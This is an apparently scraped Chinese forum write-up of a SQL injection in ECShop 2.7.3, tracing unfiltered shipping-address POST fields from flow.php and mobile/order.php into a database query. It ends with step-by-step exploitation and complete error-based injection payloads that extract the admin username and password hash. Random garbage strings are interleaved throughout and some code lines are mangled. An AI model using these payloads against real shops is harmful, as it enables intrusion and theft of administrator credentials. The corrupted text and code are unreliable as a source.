前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
9 O0 A( D; j ~% Y8 f( x" z/ N0 x' q
$ ?1 p) t) H; U, i/ z( D 漏洞关键文件:4 C, i3 l& F( W- M. N1 Q/ W+ B
% }0 h: D- H0 b! {+ h, l9 G6 t
/includes/lib_order.php- E$ o+ n3 O* K$ B% w
- x0 n$ f- A, L& N5 q( k
关键函数:/ [: t# q! z' ?. m! u
% O. _2 U g4 U& c+ Y
: |- U' {3 ]0 i4 l' e3 M/ J% G
& p1 g5 B" P3 I6 \1 `0 g01 function available_shipping_list($region_id_list)
* J! Q9 C. {7 Q5 Q0 E7 D/ [% b6 P( D9 ^; x/ B5 T8 t! {
02 { 6 t! Q8 ?2 d0 {
1 l" [- P+ s# C" B* _. t% h6 y03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 6 P) f2 Z" ` C. C Y
, l8 D( k8 L, e04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 1 H6 h; j* J* }# L( V3 e. B
" K" W8 Y" a& D( j8 e05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
- M% m6 M& R4 Q) l& O- T6 g5 M. W* M8 l- j) E" I; \
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . # T& N E8 } y% r% r
6 E7 r+ o, O4 m07 $GLOBALS['ecs']->table('area_region') . ' AS r '. - B2 n0 |# l: H; s9 N5 h) X) u
/ R( V& a* X$ t7 @4 Y
08 'WHERE r.region_id ' . db_create_in($region_id_list) . / D; F2 f0 T- J* ^0 d6 ^/ f" H' V
" C; Z+ i& W2 }- [& P
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; + \0 \# Q, F$ M! b# p: c
/ d" ~3 c. H" G+ H1 [% N10
$ l$ [) h0 M& E
1 `. J; N1 E3 M# F( y11 return $GLOBALS['db']->getAll($sql);
9 r7 G" z- O/ c" Y5 H7 B7 _5 s
- X! o7 Q; a: s12 }
) i; G2 A; a/ `: t. F; [9 E
2 z, l L' a* n8 W7 n% L显然对传入的参数没有任何过滤就带入了查询语句。0 W; m$ J0 J5 e# n/ k7 l6 q
' j8 ] v/ I* J- o" L下面我们追踪这个函数在flow.php中:
' D1 Q' K" L" ^" f 第531行: , P, D; p4 h! B% C! P# B0 E6 V. V
0 h. j5 ~4 F. D/ Q3 Y) m1 $shipping_list = available_shipping_list($region); 5 Y# ?: W0 F! O$ A- m
% S3 P- g) ^) p$ b3 M. m
" {9 B- [9 q* Q% s7 c! D
: g! Z( ?/ A/ S( o
2 X/ P' m) @6 q4 N, g9 I9 w# \1 \) P" C1 d# N3 D
再对传入变量进行追踪: E/ Y# E# h7 H8 j! T5 o0 [* e+ K9 i
; \/ q4 t; K4 q& k& C
第530行: ! g( P* @' |) u/ C5 W: ?! x
7 F4 I7 d. K5 Q# h% _9 w1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 5 Q' x' [0 ]5 `, j/ r# N
- F2 H/ p6 A) s+ E- F3 r
+ z2 S& }5 ^7 |9 _9 f5 z2 B- }3 d' ]' d% k0 L
- L7 d' Q, H$ Y
; f; `+ u* }( h; r1 I5 ~第473行: ' R( ?2 S* C, W) M% y
0 B; A( Z+ ?0 {9 u1 $consignee = get_consignee($_SESSION['user_id']); ! K5 H/ N1 e5 Q W& F, o- g( X$ }
0 `# s& w6 f' b+ W/ L* i* C& P
到了一个关键函数:
& L7 h1 [1 m' k1 @3 S
& u3 P/ Q' D! \! o7 E/ w1 a. f7 r" `/includes/lib_order.php7 R1 G- j/ y) h! K" u2 A" s
. c) W4 D% O$ T8 J8 ^8 \' d
4 I, |$ ^: v5 G( M
1 E0 ~. H3 P- x- q! m
5 M9 r+ E. c4 W6 ? s
9 }% P3 O4 v- R
01 function get_consignee($user_id) $ t4 X" E8 j$ g- Y6 P
5 {4 o) v/ e9 n5 R% S! z& \
02 {
! t1 b* M& r5 h( ^% p6 _9 c/ Q+ [1 m! k* G* b f' b* P( g' x& c
03 if (isset($_SESSION['flow_consignee'])) 5 C. V( d: p5 H0 O% B8 \
2 u2 v1 x( f: K' [. S( s- Z- C& a6 G04 {
+ g+ a- ?. f/ @
) ~# A/ H# c* }, n05 /* 如果存在session,则直接返回session中的收货人信息 */ ; V# i b; e1 U% p+ `
& D4 _% U. W0 t# R
06 4 a# }- t+ ?( h. ~/ m7 ^' j4 Z5 g
. |) y, k* y+ Y% j9 E- Q
07 return $_SESSION['flow_consignee']; " z" \0 q- f5 Q/ \. j+ j* [) ?
$ U+ d0 s3 M3 ^, o, U H& }% m
08 } - l; Z. F" i0 x% z/ V
7 d* ]+ f" s9 z" Y# a8 o( n ?09 else
q- i# s8 z, e$ }# h
9 t, @* J! n7 b# |6 n5 r10 { $ `7 R. @+ O4 |- v" T1 `/ T
L% ^ x; n9 ?! V8 y% U11 /* 如果不存在,则取得用户的默认收货人信息 */
5 Y0 g" K5 W3 T6 M D- U# l, j# o8 C& b M- y+ ~) y I6 \
12 $arr = array(); ' I0 P$ H9 c% r6 e' C6 T
- j b( F& ~& h8 R1 t13 6 b+ F1 @; v% b5 S& `& q
( M2 B7 ^ X3 k5 ~$ A- O14 if ($user_id > 0) , l0 t A6 u1 e2 j
2 C0 M- a, H1 |6 C# m( M7 v& w& n15 { , E2 G" d, S* e2 o# r( E$ R
a M5 U0 c- l. r* B+ a1 _
16 /* 取默认地址 */
8 i1 Y9 V4 V# @1 A
7 V0 b! ~, F a17 $sql = "SELECT ua.*". ! y3 X- E$ a' { @, h2 v
4 s- T' y# W: J+ }" W+ O: `* w18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 2 k9 R. g' K8 _. F& K* Y& t
# W7 b9 l* \1 M3 N: @1 y19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
7 [2 _6 b$ A7 m$ W
5 s5 q4 {$ ?+ j7 V20 : Q. C8 [! U3 h0 [6 E
5 q9 D; y0 N% l; j( D# \
21 $arr = $GLOBALS['db']->getRow($sql); # d8 G* Y9 V+ G" a
, p8 @# j. q; d7 a: {- ^6 U5 i22 } 2 ]; {+ W8 J& w/ ]( c- t: b
# [# a" x2 H: ]6 n% X9 q23
1 [4 y) A6 h; v: Q5 F5 V0 q# Y* K4 d2 I; H6 ~, ~: V
24 return $arr; 1 \: S% t- c$ j6 \
( D% d# b, ?( a- L
25 } 2 c! d% }% p. X, i) [
- u$ S& b, K- r2 L/ }* c' {& _# W. a26 } $ G1 G5 k& b0 v5 n% p
, p. T! G O) m& I, B) v3 h( @
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?! `- N: R4 g2 \) @& w
) U# E6 y/ {# P" x i7 w " A6 ]4 \: ]. X! @7 h6 W0 j
8 Y" x( k8 G% k5 ^关键点:/ \; ^0 Q9 S+ k
; f, | f/ u1 Z& v9 K( ^第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);3 n, s; ?: Y8 F; d; q
5 l* w& v; ]+ K9 }
这里对传入参数反转义存入$_SESSION中。: T0 |2 B: m0 D
' R9 e( b6 O' Q, z0 E9 O- z
/ ~# z( k8 \ t7 o
6 E+ D" n9 w$ T4 `+ u7 C7 n' t
然后看下:
. s! n/ g! P0 f4 t; Q( A
( A, v& b+ O" H7 q- N
f# l& W o% t! H; J
5 A$ q+ q w# | h
2 |; e* X/ } j3 l& j) v _7 g4 ?& S) O/ W+ v
01 $consignee = array( . s L1 F$ O' d3 U
w4 _' s# m. }
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), ; q* q0 o$ i6 f' m* G! R
w" Z7 ~0 x4 i4 N* o# n
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 0 A8 z0 O9 _* `4 s# V
0 z" L. V& c' U, T. A a
04 'country' => empty($_POST['country']) ? '' _POST['country'], 7 }4 M# N ~' I( d% @( ?
1 T- R. n6 u' B6 ?6 t! b3 y& |5 s05 'province' => empty($_POST['province']) ? '' _POST['province'],
M2 H. v5 A6 R: i2 ]7 T/ ]4 G8 t/ d% E& r( c% ^) ]# T# X
06 'city' => empty($_POST['city']) ? '' _POST['city'], 4 d. Z/ k6 T6 J% V I4 n0 O- T
; U. o, P! E; ~4 y @, ^07 'district' => empty($_POST['district']) ? '' _POST['district'], 2 s* }# k# p, Y9 s- m" O. f
f8 z2 v0 z2 E" T/ t5 E0 ?08 'email' => empty($_POST['email']) ? '' _POST['email'],
: p; `5 z) n1 [" y2 ^7 ^5 d" c& G7 ~1 A k; t5 e8 U$ i2 Z
09 'address' => empty($_POST['address']) ? '' _POST['address'],
: F/ \* l h! m5 t' g6 K2 h0 N3 u! L
7 S# ]( W/ u8 d4 N- i% t10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
5 |; m+ C: C/ g5 ` Z( c/ j9 f" v. V/ c! c5 z: O/ k
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
5 `9 e) k9 f2 @
* u2 b4 W/ _* |1 g( I# M; f12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
' r9 L6 |. O4 F" J/ _
8 i' O1 u5 y/ I! O3 N- [13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], & P: b% W; R/ k- W- H2 F( {
' `4 H- J. D- z9 k) F) U9 ^% S14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], % b6 T7 R) q' J. Q
4 {1 f0 u' U( D3 Q9 ?$ P
15 ); 6 x; F: O p$ ^, C4 B* K( N" p, E9 h" y
" M$ H+ o% g; {# h" T好了注入就这样出现了。* q5 j* S+ S3 C F+ g; e
. r z; |+ Y! g( A( y3 b
==================
+ p2 Z: W0 V* r- q& G/ _0 l0 [3 ~) p# {$ Q% [* L0 A
注入测试:; p8 Q. R1 T, T) B/ w. s0 |
R! x$ U% v2 z1 T环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)2 M* @! M& W' @8 r5 ^; n
3 `$ T, f9 C% o+ J# H& U
测试程序:ECShop_V2.7.3_UTF8_release1106
. W' n/ B! H8 a( m0 U
, Y$ y3 j+ X2 w3 l- f) ~4 ?
. c: R( I& g* q0 w% v4 ]6 a/ E1 O1 y" w) N% \) z7 s. a
1.首先需要点击一个商品加入购物车
5 @7 S: u- E7 ~7 [; J/ f
' Y1 }! ?* [/ K/ }. Y1 V; `& l# h/ g2 w2.注册一个会员帐号
) y* }: F! |; L* @( F) l6 v; h8 R/ d! h* S
3.post提交数据& i3 r1 }* J/ X7 _+ V6 l
" {7 J* I* f' D5 s
% l9 o7 g" P$ i, Y O% X/ N
* X, v7 n& ?2 y& ~( Q1 http://127.0.0.1/ecshop/flow.php ' m$ T3 P+ r) C6 n
% p1 k: g1 f2 A1 r4 O& m
2 " E! \0 ^* P. k6 q* R* W
. E4 H8 m" U5 P
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
" ]1 b/ o5 N( g& M5 a$ ~, H) y举一反三,我们根据这个漏洞我们可以继续深入挖掘:! m/ i# b( q$ X
: i; C( F* Q/ k: h. l' k9 [我们搜寻关键函数function available_shipping_list()- x9 w( l1 M+ x( t0 a8 }
" \/ E7 T" v: I, Z0 J/ ^5 }. b在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
5 v7 P$ q& ]2 O! p2 P* \- t% g' U7 C4 C4 W( u
利用exp:
8 }; {3 e( P; s
- G5 {# a' t; j- v) c1 W1.点击一个商品,点击购买商标
; B/ }# p' b5 G- ~. G' z- |" h) l4 w6 f# z/ t3 P5 g
2.登录会员帐号- u+ @, E+ s9 k- D# M' K8 b. m4 X1 a
5 ~2 v( r) d$ J' r$ v3.post提交:2 D6 {& T: O1 @& a% e8 |. e) q
3 I n+ F: |& E. ^1 e* Z6 ?, {; O2 K# E; ^http://127.0.0.1/ecshop/mobile/order.php7 T8 r1 S' t; ~& B
9 m" e$ I2 [" A! g7 Y
. L) Z5 `4 M6 l1 e% X) r4 r* h* z, U" ^! |
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
5 V5 `; \9 h0 @+ X5 S! K0 Z- Y$ c8 v
|